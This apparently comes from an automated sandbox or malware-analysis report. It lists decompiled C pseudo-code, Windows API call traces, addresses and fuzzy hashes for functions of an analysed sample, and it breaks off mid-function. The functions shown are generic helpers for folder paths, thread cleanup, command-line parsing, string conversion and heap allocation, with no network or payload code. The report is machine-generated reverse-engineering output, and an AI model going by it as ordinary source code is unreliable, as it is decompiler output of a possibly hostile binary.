Uniqueness Score: -1.00%

Function 0040A90C, Relevance: 6.0, APIs: 4, Instructions: 43COMMON

Download Yara Rule

APIs

SHGetFolderLocation.SHELL32(00000000,00638AF0,00000000,00000000,00000000,00000000,00000000,?,00000104,0040A8BB,00000000,00000000,00000104,?), ref: 0040A91E
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 0040A92F
wcslen.MSVCRT ref: 0040A93A
CoTaskMemFree.OLE32(00000000,?,00000104,0040A8BB,00000000,00000000,00000104,?,?,?,?,00000009,00403791,00000001,00000000,00000000), ref: 0040A958

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: FolderFreeFromListLocationPathTaskwcslen
String ID:
API String ID: 4012708801-0
Opcode ID: 1d539ddef34536a218538a68ec0bd755f4d96d5f82a4622414e5c8c43dda79cb
Instruction ID: e8765f26a12464aff5057ee3a7a78408a7749531e725ecdfcc70520e35881baf
Opcode Fuzzy Hash: 1d539ddef34536a218538a68ec0bd755f4d96d5f82a4622414e5c8c43dda79cb
Instruction Fuzzy Hash: 70F08136600615BBC7206F66DC0AEAB7F78EF16660B424136F805E6250E7319920C7E5

Uniqueness

Uniqueness Score: -1.00%

Function 00405436, Relevance: 6.0, APIs: 4, Instructions: 34
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405436(intOrPtr _a4) {
				int _t4;
				intOrPtr _t9;
				intOrPtr* _t10;

				_t9 = _a4;
				_t4 = TerminateThread(E004053EA(_t9), 0);
				EnterCriticalSection(0x4176a0);
				_t10 =  *0x4170bc; // 0x0
				while(_t10 != 0) {
					if( *((intOrPtr*)(_t10 + 0xc)) == _t9) {
						_t11 = _t10 + 8;
						CloseHandle( *(_t10 + 8));
						_t4 = E0040DAD2(0x4170bc, _t11);
					} else {
						_t10 =  *_t10;
						continue;
					}
					L6:
					LeaveCriticalSection(0x4176a0);
					return _t4;
				}
				goto L6;
			}

0x00405439
0x00405446
0x00405452
0x00405458
0x00405467
0x00405463
0x0040546d
0x00405472
0x0040547e
0x00405465
0x00405465
0x00000000
0x00405465
0x00405485
0x00405486
0x0040548f
0x0040548f
0x00000000

APIs

Part of subcall function 004053EA: EnterCriticalSection.KERNEL32(004176A0,?,?,-0000012C,004053D0,00000000,00401FC5,00000000,-0000012C,004023BA,00000000,?,00000000,00000001,00000000,00000000), ref: 004053F5
Part of subcall function 004053EA: LeaveCriticalSection.KERNEL32(004176A0,?,?,-0000012C,004053D0,00000000,00401FC5,00000000,-0000012C,004023BA,00000000,?,00000000,00000001,00000000,00000000), ref: 00405428

TerminateThread.KERNEL32(00000000,00000000,00000000,?,?,-0000012C,00401FD4,00000000,-0000012C,004023BA,00000000,?,00000000,00000001,00000000,00000000), ref: 00405446
EnterCriticalSection.KERNEL32(004176A0,?,?,-0000012C,00401FD4,00000000,-0000012C,004023BA,00000000,?,00000000,00000001,00000000,00000000,00000000,00000002), ref: 00405452
CloseHandle.KERNEL32(-00000008,?,?,-0000012C,00401FD4,00000000,-0000012C,004023BA,00000000,?,00000000,00000001,00000000,00000000,00000000,00000002), ref: 00405472

Part of subcall function 0040DAD2: HeapFree.KERNEL32(00000000,-00000008,0040D3EB,00000010,00000800,?,00000000,?,?,00000000,004033A4,00000000,00000000,00000000,00000000,?), ref: 0040DB0B

LeaveCriticalSection.KERNEL32(004176A0,?,?,-0000012C,00401FD4,00000000,-0000012C,004023BA,00000000,?,00000000,00000001,00000000,00000000,00000000,00000002), ref: 00405486

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnterLeave$CloseFreeHandleHeapTerminateThread
String ID:
API String ID: 85618057-0
Opcode ID: 66861cca315dffbfe371a5ba103c1e5b91a8d79734cb270ef81e9151ba7a87fc
Instruction ID: e82d31de5584acb3c1822b09e6e690cbeb5bd259d621742d6e77904c892493b9
Opcode Fuzzy Hash: 66861cca315dffbfe371a5ba103c1e5b91a8d79734cb270ef81e9151ba7a87fc
Instruction Fuzzy Hash: D4F0BE36904710EBC2205F60AC48BEB7B68EB44763726843BF80273190C738AC808E6E

Uniqueness

Uniqueness Score: -1.00%

Function 00403001, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 193COMMON

Download Yara Rule

APIs

Part of subcall function 0040DF60: TlsGetValue.KERNEL32(0000001B,?,00402F4D,00000000,00000000,00000000,00000000,?,0040117C,00000000,00000000,00000004,00000000,0041606C,00000008,0000000C), ref: 0040DF77

Part of subcall function 0040DE20: GetLastError.KERNEL32(00001000,00000000,00000000), ref: 0040DE26
Part of subcall function 0040DE20: TlsGetValue.KERNEL32(0000001B), ref: 0040DE35
Part of subcall function 0040DE20: SetLastError.KERNEL32(?), ref: 0040DE4B

Part of subcall function 00405182: TlsGetValue.KERNEL32(00000000,00402FDE,00000000,00000008,00000001,00000000,00000000,00000000,00000000,00000000,?,00000200,00000000,00000000,00000000,00000000), ref: 00405189

Part of subcall function 00405E50: CharUpperW.USER32(00000000,00000000,FFFFFFF5,00001000,00001000,?,?,00001000,00402FE6,00000000,00000008,00000001,00000000,00000000,00000000,00000000), ref: 00405EA1

Part of subcall function 0040DE60: TlsGetValue.KERNEL32(0000001B,00000000,00000000), ref: 0040DE6C
Part of subcall function 0040DE60: RtlAllocateHeap.NTDLL(00630000,00000000,?), ref: 0040DE99

Part of subcall function 0040DE60: RtlReAllocateHeap.NTDLL(00630000,00000000,?,?), ref: 0040DEBC

Part of subcall function 00402E9D: FindResourceW.KERNEL32(00000000,0000000A,00000000,00000000,00000000,00000000,00000000,00000000,0040439A,00000000,00000000,00000000,00000001,00000000,00000000,00000000), ref: 00402EC5

Part of subcall function 004092F5: CoInitialize.OLE32(00000000), ref: 00409313
Part of subcall function 004092F5: memset.MSVCRT ref: 00409321
Part of subcall function 004092F5: LoadLibraryW.KERNEL32(SHELL32.DLL,?,?,0000000A), ref: 0040932E
Part of subcall function 004092F5: GetProcAddress.KERNEL32(00000000,SHBrowseForFolderW), ref: 00409350
Part of subcall function 004092F5: GetProcAddress.KERNEL32(00000000,SHGetPathFromIDListW), ref: 0040935C
Part of subcall function 004092F5: wcsncpy.MSVCRT ref: 0040937D
Part of subcall function 004092F5: wcslen.MSVCRT ref: 00409391
Part of subcall function 004092F5: CoTaskMemFree.OLE32(?), ref: 0040941A
Part of subcall function 004092F5: wcslen.MSVCRT ref: 00409421
Part of subcall function 004092F5: FreeLibrary.KERNEL32(00000000,00000000), ref: 00409440

Part of subcall function 00403CD7: FindResourceW.KERNEL32(00000000,0000000A,00000000,00000000,00000000,00000000,00000000,-00000004,00403A61,00000000,00000001,00000000,00000000,00000001,00000003,00000000), ref: 00403D07

PathAddBackslashW.SHLWAPI(00000000,00000200,FFFFFFF5,00000000,00000000,00000000,00000200,00000000,00000000,FFFFFFF5,00000003,00000000,00000000,00000000,00000000,00000000), ref: 004031CC

Part of subcall function 0040DFC0: wcslen.MSVCRT ref: 0040DFD7

PathRemoveBackslashW.SHLWAPI(00000000,00000000,00000000,00639538,00000000,00000000,00000200,00000000,00000000,00000200,FFFFFFF5,00000000,00000000,00000000,00000200,00000000), ref: 00403231

Part of subcall function 00402CA9: FindResourceW.KERNEL32(?,0000000A,?,00000000,00000001,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00402D44

Strings

`A, xrefs: 004030CC

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Value$FindResourcewcslen$AddressAllocateBackslashErrorFreeHeapLastLibraryPathProc$CharInitializeLoadRemoveTaskUppermemsetwcsncpy
String ID: `A
API String ID: 2009453447-2737472851
Opcode ID: 95adbcaa2ab5ee70eb3dc5b94c51e17671b79cd70e6355162ca6a04cdaa6e4f4
Instruction ID: e0b9ffac2fcbd3cac9e210611f46d13d34f6da227652cecd82e9aee9d1240e54
Opcode Fuzzy Hash: 95adbcaa2ab5ee70eb3dc5b94c51e17671b79cd70e6355162ca6a04cdaa6e4f4
Instruction Fuzzy Hash: 2551C4B9A04B047EE500BBF2DD82E7F666EDAD4718B10983FB440BD0D2C93C9D49666D

Uniqueness

Uniqueness Score: -1.00%

Function 004024F1, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 148
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E004024F1(void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a24, intOrPtr _a36) {
				char _v0;
				signed int _v4;
				char _v8;
				WCHAR* _v12;
				WCHAR* _v16;
				char _v20;
				void* _t31;
				void* _t32;
				void* _t37;
				WCHAR* _t41;
				void* _t44;
				void* _t46;
				void* _t47;
				void* _t48;
				void* _t56;
				void* _t57;
				void* _t58;
				void* _t59;
				char* _t66;
				void* _t68;
				void* _t69;
				void* _t73;
				char _t84;
				void* _t85;
				void* _t88;
				void* _t90;
				void* _t91;
				void* _t94;
				void* _t95;
				void* _t96;
				void* _t97;
				void* _t98;
				void* _t101;
				void* _t102;
				intOrPtr* _t103;

				_t102 = __esi;
				_t84 = 9;
				do {
					_t103 = _t103 - 4;
					_v8 = 0;
					_t84 = _t84 - 1;
				} while (_t84 != 0);
				E004051A0(E0040DF60(), _a36);
				 *0x41702c = 0x4160d0;
				_v12 = 0;
				while(1) {
					_t106 = 6 - _v8;
					if(6 < _v8) {
						break;
					}
					_t66 =  *0x41702c; // 0x41609a
					_v4 =  *_t66;
					 *0x41702c =  *0x41702c + 1;
					_t68 = E0040DE20();
					_t98 = _t84;
					_push(_t68);
					_push(_t98);
					_t69 = E0040DE20();
					E00405D60(_t106, _v4 * 0xffffffff);
					E0040DE60( &_v8, _t69);
					_push(_v12);
					_t73 = E0040DE20();
					_pop(_t101);
					E0040DFC0(_t101);
					_t84 = _v20;
					E0040DFC0(_t84);
					E0040DE60( &_v20, _t73);
					 *_t103 =  *_t103 + 1;
					if( *_t103 >= 0) {
						continue;
					}
					break;
				}
				_t31 = E0040DE20();
				_t85 = _t84;
				_push(_t31);
				_t32 = E0040DE20();
				E00409B60(GetCommandLineW(), _t32);
				E0040DE60( &_v0, _t85);
				_push(_v8);
				_t37 = E0040DE20();
				_pop(_t88);
				E0040DFC0(_t88);
				E0040DE60( &_v8, _t37);
				_t41 = _v16;
				PathRemoveArgsW(_t41);
				_v12 = _t41;
				_v12 = E00405D80(_v16);
				if(_v12 > 0) {
					_push(_t88);
					_push(E0040DE20());
					E0040DFC0(0x416026);
					_t56 = E0040DE20();
					_t94 = 0x416026;
					_push(_t56);
					_t57 = E0040DE20();
					_t95 = _t94;
					_push(_t57);
					_t58 = E0040DE20();
					_t96 = _t95;
					_push(_t58);
					_t59 = E0040DE20();
					_t97 = _t96;
					E00405182(E004060B0(_t102, _a4, _a16 + 1, _t59));
					 *_t103 =  *_t103 + _t97;
					E00406000();
					_push( &_v0);
					E0040DE60();
				}
				E00409860(_a4, _a24);
				_push(_a16);
				_t44 = E0040DE20();
				_pop(_t90);
				E0040DFC0(_t90);
				_t46 = _t44;
				_t47 = E00405170();
				_t91 = _t46;
				_t48 = _t47 + _t91;
				return E0040DEF0(E0040DEF0(E0040DEF0(E0040DEF0(E0040DEF0(_t48, _a12), _v4), _v0), _v8), _a8);
			}

0x004024f1
0x004024f2
0x004024f7
0x004024f7
0x004024fa
0x00402501
0x00402501
0x0040250d
0x00402517
0x0040251c
0x00402525
0x0040252a
0x0040252d
0x00000000
0x00000000
0x0040252f
0x00402537
0x0040253b
0x00402542
0x00402547
0x00402548
0x00402549
0x0040254a
0x00402559
0x00402563
0x0040256c
0x0040256d
0x00402572
0x00402575
0x0040257a
0x0040257f
0x00402589
0x0040258e
0x00402591
0x00000000
0x00000000
0x00000000
0x00402591
0x00402594
0x00402599
0x0040259a
0x0040259c
0x004025a9
0x004025b3
0x004025bc
0x004025bd
0x004025c2
0x004025c5
0x004025cf
0x004025d4
0x004025d9
0x004025de
0x004025eb
0x004025f5
0x004025f7
0x004025fe
0x00402605
0x0040260b
0x00402610
0x00402611
0x00402613
0x00402618
0x00402619
0x0040261b
0x00402620
0x00402621
0x00402623
0x00402628
0x00402639
0x0040263e
0x00402641
0x0040264b
0x0040264c
0x0040264c
0x00402659
0x00402662
0x00402663
0x00402668
0x0040266b
0x00402670
0x00402672
0x00402677
0x00402678
0x004026b7

APIs

GetCommandLineW.KERNEL32(00000000,00000000,?,00000000,00000000), ref: 004025A3
PathRemoveArgsW.SHLWAPI(?), ref: 004025D9

Part of subcall function 00405182: TlsGetValue.KERNEL32(00000000,00402FDE,00000000,00000008,00000001,00000000,00000000,00000000,00000000,00000000,?,00000200,00000000,00000000,00000000,00000000), ref: 00405189

Part of subcall function 0040DE60: TlsGetValue.KERNEL32(0000001B,00000000,00000000), ref: 0040DE6C
Part of subcall function 0040DE60: RtlAllocateHeap.NTDLL(00630000,00000000,?), ref: 0040DE99

Part of subcall function 00409860: SetEnvironmentVariableW.KERNELBASE(00638AF0,00638AF0,00404434,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00409879

Part of subcall function 0040DE20: GetLastError.KERNEL32(00001000,00000000,00000000), ref: 0040DE26
Part of subcall function 0040DE20: TlsGetValue.KERNEL32(0000001B), ref: 0040DE35
Part of subcall function 0040DE20: SetLastError.KERNEL32(?), ref: 0040DE4B

Part of subcall function 0040DFC0: wcslen.MSVCRT ref: 0040DFD7

Part of subcall function 00405170: TlsGetValue.KERNEL32(?,?,00402FED,00000000,00000008,00000001,00000000,00000000,00000000,00000000,00000000,?,00000200,00000000,00000000,00000000), ref: 00405178

Part of subcall function 0040DEF0: HeapFree.KERNEL32(00630000,00000000,00000000,?,00000000,?,00411AC4,00000000,00000000,-00000008), ref: 0040DF08

Strings

&`A, xrefs: 004025FF

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Value$ErrorHeapLast$AllocateArgsCommandEnvironmentFreeLinePathRemoveVariablewcslen
String ID: &`A
API String ID: 1199808876-2812803553
Opcode ID: 3a8b2930490a16416bc5211f3a970ff8349e94485dee32ac6e367cc93453338b
Instruction ID: f63cb6ba6756906bb1a885948d3e935d11b840abb1ca4822bfa7626acd848ba7
Opcode Fuzzy Hash: 3a8b2930490a16416bc5211f3a970ff8349e94485dee32ac6e367cc93453338b
Instruction Fuzzy Hash: 0341EEB59047016ED600BBB2DD8193F77ADEBD4718F10983FB040AA1D2CA3CD8595A6D

Uniqueness

Uniqueness Score: -1.00%

Function 004096DA, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 115
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004096DA(void* __eflags, WCHAR* _a4) {
				signed int* _v0;
				intOrPtr _v4;
				intOrPtr _v8;
				WCHAR* _t11;
				signed int _t14;
				signed int _t15;
				WCHAR* _t17;
				signed int _t18;
				void* _t21;
				signed int _t23;
				signed int _t24;
				signed int _t25;
				WCHAR* _t26;
				void* _t28;
				void* _t29;
				void* _t30;
				signed int* _t31;
				WCHAR* _t32;

				E0040D288( *0x4176c4);
				_t15 = _t14 | 0xffffffff;
				_t32 = 0;
				_t11 = GetCommandLineW();
				_t31 = _v0;
				_t24 =  *_t11 & 0x0000ffff;
				if(_t24 == 0) {
					L30:
					if(_t31 != 0) {
						L34:
						 *_t31 = 0;
						return _t11;
					}
					return _t15;
				}
				_t17 = _a4;
				_v8 = 0x20;
				_v4 = 0x22;
				do {
					if(_t24 != _v8) {
						L5:
						_t25 =  *_t11 & 0x0000ffff;
						_a4 = 1;
						if(_t25 != _v4) {
							if(_t25 == 0) {
								_t26 = 0;
								L25:
								if(_v0 != _t15 || _t31 == 0) {
									goto L27;
								} else {
									if(_t32 == 0) {
										goto L34;
									}
									 *_t31 = _t17 - _t32 >> 1;
									_v0 =  &(_v0[0]);
									return _t32;
								}
							}
							_t32 = _t11;
							_t21 = 0x20;
							while(_t25 != _t21) {
								_t11 =  &(_t11[1]);
								_t28 = 0x22;
								if( *_t11 != _t28) {
									L20:
									_t25 =  *_t11 & 0x0000ffff;
									if(_t25 != 0) {
										continue;
									}
									break;
								}
								_t11 =  &(_t11[1]);
								_t23 =  *_t11 & 0x0000ffff;
								if(_t23 == 0) {
									L22:
									_t17 = _t11;
									L23:
									_t26 = _a4;
									goto L25;
								}
								while(_t23 != _t28) {
									_t11 =  &(_t11[1]);
									_t23 =  *_t11 & 0x0000ffff;
									if(_t23 != 0) {
										continue;
									}
									break;
								}
								_t21 = 0x20;
								goto L20;
							}
							L10:
							if( *_t11 == 0) {
								goto L22;
							}
							_t17 = _t11;
							_t11 =  &(_t11[1]);
							goto L23;
						}
						_t11 =  &(_t11[1]);
						_t32 = _t11;
						_t18 =  *_t11 & 0x0000ffff;
						if(_t18 == 0) {
							goto L22;
						}
						_t29 = 0x22;
						while(_t18 != _t29) {
							_t11 =  &(_t11[1]);
							_t18 =  *_t11 & 0x0000ffff;
							if(_t18 != 0) {
								continue;
							}
							goto L10;
						}
						goto L10;
					}
					_t30 = 0x20;
					do {
						_t11 =  &(_t11[1]);
					} while ( *_t11 == _t30);
					goto L5;
					L27:
					if(_t26 != 0) {
						_t15 = _t15 + 1;
					}
					_t32 = 0;
					_t24 =  *_t11 & 0x0000ffff;
				} while (_t24 != 0);
				goto L30;
			}

0x004096e6
0x004096ed
0x004096f2
0x004096f4
0x004096fa
0x004096fe
0x00409704
0x004097da
0x004097dc
0x004097f3
0x004097f5
0x00000000
0x004097f5
0x00000000
0x004097de
0x0040970a
0x0040970e
0x00409716
0x0040971e
0x00409723
0x00409730
0x00409730
0x00409733
0x00409740
0x00409773
0x004097ba
0x004097bc
0x004097bf
0x00000000
0x004097e2
0x004097e4
0x00000000
0x00000000
0x004097ec
0x004097ee
0x00000000
0x004097ee
0x004097bf
0x00409777
0x00409779
0x0040977a
0x0040977f
0x00409784
0x00409788
0x004097a8
0x004097a8
0x004097ae
0x00000000
0x00000000
0x00000000
0x004097b0
0x0040978a
0x0040978d
0x00409793
0x004097b2
0x004097b2
0x004097b4
0x004097b4
0x00000000
0x004097b4
0x00409795
0x0040979a
0x0040979d
0x004097a3
0x00000000
0x00000000
0x00000000
0x004097a3
0x004097a7
0x00000000
0x004097a7
0x00409762
0x00409767
0x00000000
0x00000000
0x00409769
0x0040976b
0x00000000
0x0040976b
0x00409742
0x00409745
0x00409747
0x0040974d
0x00000000
0x00000000
0x00409751
0x00409752
0x00409757
0x0040975a
0x00409760
0x00000000
0x00000000
0x00000000
0x00409760
0x00000000
0x00409752
0x00409727
0x00409728
0x00409728
0x0040972b
0x00000000
0x004097c5
0x004097c7
0x004097c9
0x004097c9
0x004097cc
0x004097ce
0x004097d1
0x00000000

APIs

Part of subcall function 0040D288: TlsGetValue.KERNEL32(?,00409809,00401DAB,FFFFFFF5,00000200,0000000A,00000000,00000000,FFFFFFF5,00000015,00000001,00000000,00000000,00000000,00000000,00000200), ref: 0040D28F
Part of subcall function 0040D288: HeapAlloc.KERNEL32(00000008,?,?,00409809,00401DAB,FFFFFFF5,00000200,0000000A,00000000,00000000,FFFFFFF5,00000015,00000001,00000000,00000000,00000000), ref: 0040D2AA
Part of subcall function 0040D288: TlsSetValue.KERNEL32(00000000,?,?,00409809,00401DAB,FFFFFFF5,00000200,0000000A,00000000,00000000,FFFFFFF5,00000015,00000001,00000000,00000000,00000000), ref: 0040D2B9

GetCommandLineW.KERNEL32(?,?,?,00000000,?,?,00409810,00000000,00401DAB,FFFFFFF5,00000200,0000000A,00000000,00000000,FFFFFFF5,00000015), ref: 004096F4

Strings

", xrefs: 00409716
, xrefs: 0040970E

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Value$AllocCommandHeapLine
String ID: $"
API String ID: 1339485270-3817095088
Opcode ID: f97b4f0fc6cdbdc4f126a07b0d6f143b00e44276b0d28f9304cf3883811f345f
Instruction ID: 4c648ba0253d95f00ea60fdf00931512a06ba22242bcbe44c620df30a2d3858e
Opcode Fuzzy Hash: f97b4f0fc6cdbdc4f126a07b0d6f143b00e44276b0d28f9304cf3883811f345f
Instruction Fuzzy Hash: 6031A473525221CADB749F24981137772A1EBB1B60F18817FE8926B3C2F37D8D419359

Uniqueness

Uniqueness Score: -1.00%

Function 00409F58, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 61
COMMON

Download Yara Rule

C-Code - Quality: 25%

			E00409F58(intOrPtr* _a4, wchar_t* _a8) {
				signed int _t36;
				intOrPtr _t38;
				wchar_t* _t39;
				intOrPtr* _t50;
				intOrPtr* _t51;
				signed int _t52;

				_t39 = _a8;
				if(_t39 == 0) {
					_t39 = 0x412024;
				}
				_t51 = _a4;
				_push(_t39);
				if(( *(_t51 + 0x2c) & 0x00000001) == 0) {
					_t52 = E0040A24F() %  *(_t51 + 0x24);
					_t50 =  *((intOrPtr*)( *((intOrPtr*)(_t51 + 4)) + _t52 * 4));
					while(_t50 != 0) {
						if(wcscmp( *(_t50 + 4), _t39) == 0) {
							goto L8;
						}
						 *((intOrPtr*)(_t51 + 8)) = _t50;
						_t50 =  *_t50;
					}
					goto L13;
				} else {
					_t36 = E0040A26A();
					_t38 =  *((intOrPtr*)(_t51 + 4));
					_t52 = _t36 %  *(_t51 + 0x24);
					_t50 =  *((intOrPtr*)(_t38 + _t52 * 4));
					while(_t50 != 0) {
						_push(_t39);
						_push( *(_t50 + 4));
						L0040531F();
						if(_t38 == 0) {
							L8:
							 *(_t51 + 0x14) = _t52;
							 *_t51 = _t50;
							return _t50 + 8;
						}
						 *((intOrPtr*)(_t51 + 8)) = _t50;
						_t50 =  *_t50;
					}
					L13:
					return 0;
				}
			}

0x00409f59
0x00409f62
0x00409f64
0x00409f64
0x00409f69
0x00409f6d
0x00409f72
0x00409fba
0x00409fbd
0x00409fd6
0x00409fcf
0x00000000
0x00000000
0x00409fd1
0x00409fd4
0x00409fd4
0x00000000
0x00409f74
0x00409f74
0x00409f7e
0x00409f81
0x00409f84
0x00409f9d
0x00409f89
0x00409f8a
0x00409f8d
0x00409f96
0x00409fa3
0x00409fa3
0x00409fa9
0x00000000
0x00409fa9
0x00409f98
0x00409f9b
0x00409f9b
0x00409fda
0x00000000
0x00409fda

APIs

_wcsicmp.MSVCRT ref: 00409F8D
wcscmp.MSVCRT ref: 00409FC6

Strings

$ A, xrefs: 00409F64

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: _wcsicmpwcscmp
String ID: $ A
API String ID: 3419221977-1415209610
Opcode ID: f21810243c52a83e43149c8ba45ed39ee43fe6731525ce4266dde6b58930fcab
Instruction ID: a733317a4b81313ba419c318017c22e6bf29b3e2c3e1e122568c9b8a7727cdd0
Opcode Fuzzy Hash: f21810243c52a83e43149c8ba45ed39ee43fe6731525ce4266dde6b58930fcab
Instruction Fuzzy Hash: 1111BFB2108B028FD3209F16D440923B3E9EFC8360324843FE849A3792DB79FC118A69

Uniqueness

Uniqueness Score: -1.00%

Function 00405700, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405700(short* _a4) {
				char* _t6;
				short* _t7;
				int _t8;

				_t7 = _a4;
				if(_t7 == 0) {
					_t7 = 0x412024;
				}
				_t8 = WideCharToMultiByte(0xfde9, 0, _t7, 0xffffffff, 0, 0, 0, 0);
				_t6 = E00409B40(_t8);
				if(_t6 != 0) {
					WideCharToMultiByte(0xfde9, 0, _t7, 0xffffffff, _t6, _t8, 0, 0);
				}
				return _t6;
			}

0x00405702
0x00405709
0x0040570b
0x0040570b
0x00405728
0x00405730
0x00405734
0x00405746
0x00405746
0x00405751

APIs

WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000,?,?,?,00401207), ref: 00405722
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000,00000000,?,?,?,00401207), ref: 00405746

Strings

$ A, xrefs: 0040570B

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharMultiWide
String ID: $ A
API String ID: 626452242-1415209610
Opcode ID: ca72461ec9b0f3d02c9927fa16f8ee0024e96a70de694c605e1f9d49a19121eb
Instruction ID: 51e3e9442c1b14bfca279b8410f0cbc31bbd530ab1d9b24216a3048053e00ad1
Opcode Fuzzy Hash: ca72461ec9b0f3d02c9927fa16f8ee0024e96a70de694c605e1f9d49a19121eb
Instruction Fuzzy Hash: FFF0303638522176E231215A5C06F576A59C785F70F264236BB24BF2C585A1680059AC

Uniqueness

Uniqueness Score: -1.00%

Function 0040D51F, Relevance: 5.1, APIs: 4, Instructions: 134
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040D51F(char _a4) {
				intOrPtr _t62;
				intOrPtr _t68;
				intOrPtr _t70;
				signed int _t78;
				signed int _t81;
				intOrPtr _t83;
				signed int _t84;
				intOrPtr _t85;
				long _t87;
				intOrPtr* _t88;
				intOrPtr* _t89;
				intOrPtr* _t90;
				intOrPtr* _t91;

				_t88 = _a4;
				_t87 = 0;
				_t91 = 0;
				if( *((intOrPtr*)(_t88 + 0x1c)) != 0) {
					EnterCriticalSection(_t88 + 0x20);
					_t87 = 0;
				}
				_t89 =  *((intOrPtr*)(_t88 + 4));
				if(_t89 == 0) {
					_t78 =  *(_t88 + 0xc) >> 0x00000004 & 0xfffffff0;
					if(_t78 >=  *(_t88 + 0x14)) {
						if(_t78 >  *(_t88 + 0x18)) {
							_t78 =  *(_t88 + 0x18);
						}
					} else {
						_t78 =  *(_t88 + 0x14);
					}
					_t90 = HeapAlloc( *0x417008, _t87,  *(_t88 + 0x10) * _t78 + 0x18);
					_t81 = 1;
					if(_t90 == 0) {
						_t90 = HeapAlloc( *0x417008, 0,  *(_t88 + 0x10) + 0x18);
						if(_t90 == 0) {
							_t87 = 0;
							goto L30;
						}
						_t81 = 1;
						 *(_t90 + 0xc) = 1;
						goto L23;
					} else {
